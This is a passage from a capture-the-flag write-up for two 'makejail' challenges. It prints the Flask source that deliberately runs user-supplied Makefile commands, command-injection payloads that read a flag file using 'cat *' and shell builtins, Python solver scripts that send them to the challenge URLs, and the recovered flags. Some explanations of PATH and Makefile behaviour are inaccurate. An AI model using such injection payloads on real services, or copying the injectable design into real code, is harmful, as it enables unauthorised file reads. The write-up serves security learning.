If we take look at the source-code it’s allows to create a Makefile with a target and a command, and then runs make in a temporary directory containing a flag file. And then checks for the presence of newline characters and the string flag in the command to prevent from reading the flag file directly. However, it doesn’t prevent from using other commands or environment variables.

One possible solution is to use the cat command with a wildcard (*) instead of the filename. This will read all files in the directory, including the flag file.





Final solver automation:

solver.py
 1import requests
 2import re
 3
 4data = {
 5    'name': 'target',
 6    'code': 'cat *'
 7}
 8
 9response = requests.post('https://madesense-okntin33tq-ul.a.run.app/make', data=data)
10flag = re.findall(r'wctf{.*}', response.text)
11
12print(flag)
FLAG

wctf{m4k1ng_vuln3r4b1l1t135}


Made Functional

Overview

Author: doubledelete

Description: the second makejail

https://madefunctional-okntin33tq-ul.a.run.app/

And the last but not least is same Misc PyJail/MakeJail challenge Made Functional, written using the Flask.

source.py
 1import os
 2from pathlib import Path
 3import re
 4import subprocess
 5import tempfile
 6
 7from flask import Flask, request, send_file
 8
 9app = Flask(__name__)
10flag = open('flag.txt').read()
11
12def write_flag(path):
13    with open(path / 'flag.txt', 'w') as f:
14        f.write(flag)
15
16def generate_makefile(name, content, path):
17    with open(path / 'Makefile', 'w') as f:
18        f.write(f"""
19SHELL := env PATH= /bin/bash
20.PHONY: {name}
21{name}: flag.txt
22\t{content}
23""")
24
25@app.route('/', methods=['GET'])
26def index():
27    return send_file('index.html')
28
29@app.route('/src/', methods=['GET'])
30def src():
31    return send_file(__file__)
32
33# made functional
34@app.route('/make', methods=['POST'])
35def make():
36    target_name = request.form.get('name')
37    code = request.form.get('code')
38
39    print(code)
40    if not re.fullmatch(r'[A-Za-z0-9]+', target_name):
41        return 'no'
42    if '\n' in code:
43        return 'no'
44    if re.search(r'/', code):
45        return 'no'
46
47    with tempfile.TemporaryDirectory() as dir:
48        run_dir = Path(dir)
49        write_flag(run_dir)
50        generate_makefile(target_name, code, run_dir)
51        sp = subprocess.run(['make'], capture_output=True, cwd=run_dir)
52        return f"""
53<h1>stdout:</h1>
54{sp.stdout}
55<h1>stderr:</h1>
56{sp.stderr}
57    """
58
59app.run('localhost', 8000)

From the source it allows to create a Makefile with a target that executes some code when the target is built and it’s a same vuln. The SHELL variable in the Makefile is set to env PATH= /bin/bash, which means that the PATH environment variable is set to an empty string when the shell command is executed. This means that the shell will not be able to find any executables in the PATH, so it will only execute commands that are defined in the Makefile itself.

first I simply using:

name = "readflag"
code = "< flag.txt"


It seems like the command < flag.txt was executed, but it didn’t produce any output. This is because the < operator is used for input redirection, and it needs a command to provide input to.

Unfortunately, we’re limited by the fact that we can’t use slashes, and most commands are located in directories that require a slash to access (like /bin or /usr/bin).

However, we can take advantage of the fact that Makefiles allow for multiple lines in the command section if they are separated by semicolons. We can use this feature to first assign the content of the flag file to a variable, and then echo that variable:

name = "readflag"
code = "read -r FLAG < flag.txt; echo $$FLAG"


Final solver automation:

solver.py
 1import requests
 2import re
 3
 4data = {
 5    'name': 'readflag',
 6    'code': 'read -r FLAG < flag.txt; echo $$FLAG'
 7}
 8
 9response = requests.post('https://madefunctional-okntin33tq-ul.a.run.app/make', data=data)
10flag = re.findall(r'wctf{.*}', response.text)
11
12print(flag)
FLAG

wctf{m4k1ng_f1l3s}